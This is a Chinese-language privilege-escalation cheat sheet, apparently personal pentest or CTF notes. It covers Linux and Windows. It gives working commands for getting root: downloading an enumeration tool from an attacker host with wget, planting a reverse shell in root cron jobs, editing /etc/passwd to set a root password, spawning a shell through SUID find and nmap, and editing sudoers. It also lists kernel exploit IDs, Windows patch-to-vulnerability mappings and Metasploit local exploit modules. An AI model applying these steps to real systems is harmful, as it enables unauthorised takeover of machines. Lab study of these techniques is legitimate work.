提权
Linux
¶已知的可用来suid提权的文件/命令
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
¶利用enumy64分析权限
enumy64: 是一款linux后渗透提权枚举工具,是一个快速的可移植、可执行文件
先在攻击机上开启web服务
python3 -m http.server 10000 |
然后利用wget让靶机从攻击机上下载这个文件, 给权限, 运行
wget 192.168.10.1:10000/enumy64 |
然后我们就可以得到一些有用的信息
类似的提权辅助工具: Linux-Exploit-Suggester
¶连接shell后可以干的事
查看计划任务、备份文件、suid的文件、可写文件等,总之寻找有没有一些ssh登录的凭据或是可以利用的提权文件
¶利用计划任务进行提权
主要看是不是用root权限执行某个文件, 可以是sh, 也可以是别的, 只要能执行指令就是好文件. 利用方式就是塞一个反弹shell代码进去即可
¶利用msfconsole的edit修改文件提权
meterpreter 下有个 edit 命令, 类似于 vim /etc/passwd 文件的第二位 x , 是密码占位符, 密码其实是加密存储在 /etc/shadow 下的 可以假设 x 位密码存在, 那么root 就会默认密码为 x 位, 就不会去读取 /etc/shadow. 可以利用edit来进行编辑
利用openssl passwd -1
, 生成密码, 密码明文为admin
输入edit /etc/passwd
进行编辑(不一定每个靶机都行), 将之前生成的密码添加到root后的x位置
shell |
¶motd提权
¶contrab提权
¶namp提权
sudo nmap -interactive |
¶find提权
检查find命令是否有suid权限,有suid权限可进行提权操作
查看find位置
which find |
查看find权限
ls -alh /usr/bin/find |
使用find命令查看拥有suid权限的文件, 这个常用来查找可能利用的文件
find / -perm -u=s -type f 2>/dev/null |
如果find命令没有suid权限,给find命令赋予suid权限
chmod u+s /usr/bin/find |
find拥有suid权限位,尝试以find命令执行whoami, 看看是否为管理员权限
find `which find` -exec whoami \; |
使用find命令来提权
find . -exec /bin/sh \; -quit |
似乎说, bash 经常是被限制的,在受限模式下运行,如果 bash 不行就多试试 sh
¶利用sudoers文件提权
该文件包含了每个用户可以在不输入密码的情况下使用sudo命令的范围, 可能需要这个用户本来就有sudo权限用于打开一个编辑器来编辑该文件
用
sudo -l
来查看权限
在# User privilege specification
这个注释下对应的用户权限设定末尾增加/bin/bash
¶用过的脚本
40839.c
,Linux Kernel 2.6.22<3.9 - 'Dirty COW'
这个利用/etc/passwd的方式利用, 比较稳定44298
,Linux Kernel < 4.40-116(Ubuntu 16.04.4) - Local Privilege Escalation
45010
Windows
安装了KB2871997
补丁或者系统版本大于windows server 2012
时, 系统的内存中就不再保存明文的密码, mimikatz失效
提权辅助工具: Windows-Exploit-Suggester, 执行systeminfo获取信息之后可以扔给它
¶win7
¶windows2003
直接上巴西烤肉
补丁 | 对应漏洞 |
---|---|
KB2360937 | Ms10-084 |
KB2478960 | MS11-014 |
KB2507938 | MS11-056 |
KB2566454 | Ms11-062 |
KB2646524 | MS12-003 |
KB2645640 | Ms12-009 |
KB2641653 | MS12-018 |
KB944653 | MS07-067 |
msf:
- exploit/windows/local/ms13_053_schlamperei
- exploit/windows/local/ms13_081_track_popup_menu
- MS16-032
- ms17-010永恒之蓝